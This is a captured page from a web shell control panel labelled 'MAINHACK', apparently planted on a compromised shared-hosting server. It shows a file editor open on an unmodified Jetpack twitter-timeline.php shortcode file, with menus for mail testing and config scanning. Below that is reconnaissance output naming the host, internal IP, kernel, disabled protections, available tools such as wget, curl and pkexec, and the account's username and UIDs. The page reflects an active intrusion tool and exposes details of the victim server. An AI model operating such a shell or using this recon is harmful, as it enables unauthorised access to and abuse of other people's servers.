[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: twitter-timeline.php
<?php /** * Twitter Timeline Shortcode. * * Examples: * [twitter-timeline username=jetpack] * * @package automattic/jetpack */ /** * Render the Twitter shortcode. * * @param array $atts Shortcode attributes. */ function twitter_timeline_shortcode( $atts ) { $default_atts = array( 'username' => '', 'id' => '', 'width' => '450', 'height' => '282', ); $atts = shortcode_atts( $default_atts, $atts, 'twitter-timeline' ); $atts['username'] = preg_replace( '/[^A-Za-z0-9_]+/', '', $atts['username'] ); if ( empty( $atts['username'] ) && ! is_numeric( $atts['id'] ) ) { return '<!-- ' . __( 'Must specify Twitter Timeline id or username.', 'jetpack' ) . ' -->'; } $output = '<a class="twitter-timeline"'; /** This filter is documented in modules/shortcodes/tweet.php */ $partner = apply_filters( 'jetpack_twitter_partner_id', 'jetpack' ); if ( ! empty( $partner ) ) { $output .= ' data-partner="' . esc_attr( $partner ) . '"'; } if ( is_numeric( $atts['width'] ) ) { $output .= ' data-width="' . esc_attr( $atts['width'] ) . '"'; } if ( is_numeric( $atts['height'] ) ) { $output .= ' data-height="' . esc_attr( $atts['height'] ) . '"'; } if ( is_numeric( $atts['id'] ) ) { $output .= ' data-widget-id="' . esc_attr( $atts['id'] ) . '"'; } if ( ! empty( $atts['username'] ) ) { $output .= ' href="' . esc_url( 'https://twitter.com/' . $atts['username'] ) . '"'; } $output .= '>'; $output .= sprintf( /* Translators: placeholder is a Twitter username. */ __( 'Tweets by @%s', 'jetpack' ), $atts['username'] ); $output .= '</a>'; wp_enqueue_script( 'jetpack-twitter-timeline' ); return $output; } add_shortcode( 'twitter-timeline', 'twitter_timeline_shortcode' ); /** * Enqueue the js used by the Twitter shortcode. */ function twitter_timeline_js() { if ( is_customize_preview() ) { wp_enqueue_script( 'jetpack-twitter-timeline' ); } } add_action( 'wp_enqueue_scripts', 'twitter_timeline_js' );
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm010.cluster103.gra.hosting.ovh.net
Server IP: 10.103.20.10
PHP Version: 7.4.33
Server Software: Apache
System: Linux webm010.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: cuisinesj
User ID (UID): 17129
Group ID (GID): 100
Script Owner UID: 17129
Current Dir Owner: 17129